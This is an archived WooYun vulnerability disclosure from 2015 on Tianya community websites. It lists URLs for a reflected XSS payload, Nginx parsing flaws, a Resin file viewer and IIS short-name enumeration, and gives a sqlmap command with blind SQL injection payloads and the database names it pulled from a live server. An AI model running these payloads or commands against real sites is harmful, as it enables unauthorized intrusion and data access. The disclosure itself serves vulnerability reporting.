当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130764

漏洞标题:天涯社区漏洞打包(SQL注入/文件解析漏洞/XSS等)

相关厂商:天涯社区

漏洞作者: 陆由乙

提交时间:2015-08-04 11:58

修复时间:2015-08-09 12:00

公开时间:2015-08-09 12:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:7

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-04: 细节已通知厂商并且等待厂商处理中
2015-08-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

666666666666666

详细说明:

http://bbs.tianya.cn/resin-doc/viewfile/?contextpath=/&servletpath=&file=fakefile.xml
http://wenda.tianya.cn/search.jsp POST参数q疑似注入
http://passport.tianya.cn/countryTel/json.do?var=--%3E%27%22%3E%3CH1%3EXSS%40HERE%3C%2FH1%3E
这么终于的服务器上竟然有反射XSS
合理处理json数据
http://open.tianya.cn/static/js/my_popbox_js.js/a.php
Nginx解析漏洞
http://ebook.tianya.cn/
iis短文件名可枚举文件
http://apps.tianya.cn/static/upgrade2/css/style.css/a.php
Nginx解析漏洞

漏洞证明:

sqlmap.py -u "http://content.tianya.cn/comment/ForumCommentDo.jsp" --data "articleid=1" --dbs
SQL盲注
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150213}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:30:23
[19:30:23] [INFO] resuming back-end DBMS 'mysql'
[19:30:23] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: articleid (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: articleid=1) AND 6387=6387 AND (1274=1274
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: articleid=1) AND (SELECT * FROM (SELECT(SLEEP(5)))iCdI) AND (6781=6
781
---
[19:30:24] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.11
[19:30:24] [INFO] fetching database names
[19:30:24] [INFO] fetching number of databases
[19:30:24] [INFO] resumed: 4
[19:30:24] [INFO] resumed: information_schema
[19:30:24] [INFO] resumed: egse7i\\7n\\7n\\7B\\7n
[19:30:24] [INFO] resumed: tgss\x13%J\x13%J\x13%J\x13%J\x13%
[19:30:24] [INFO] resumed: tianya_cms_bptjcmj
available databases [4]:
[*] `egse7i\7n\7n\7B\7n`
[*] `tgss%J%J%J%J%`
[*] information_schema
[*] tianya_cms_bptjcmj
[19:30:24] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\content.tianya.cn'
[*] shutting down at 19:30:24


修复方案:

你们有开发的,交给开发解决。

版权声明:转载请注明来源 陆由乙@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-09 12:00

厂商回复:

漏洞Rank:8 (WooYun评价)

最新状态:

2015-08-10:相关漏洞已经修复,在此感谢漏洞发现者对我们安全问题的善意提醒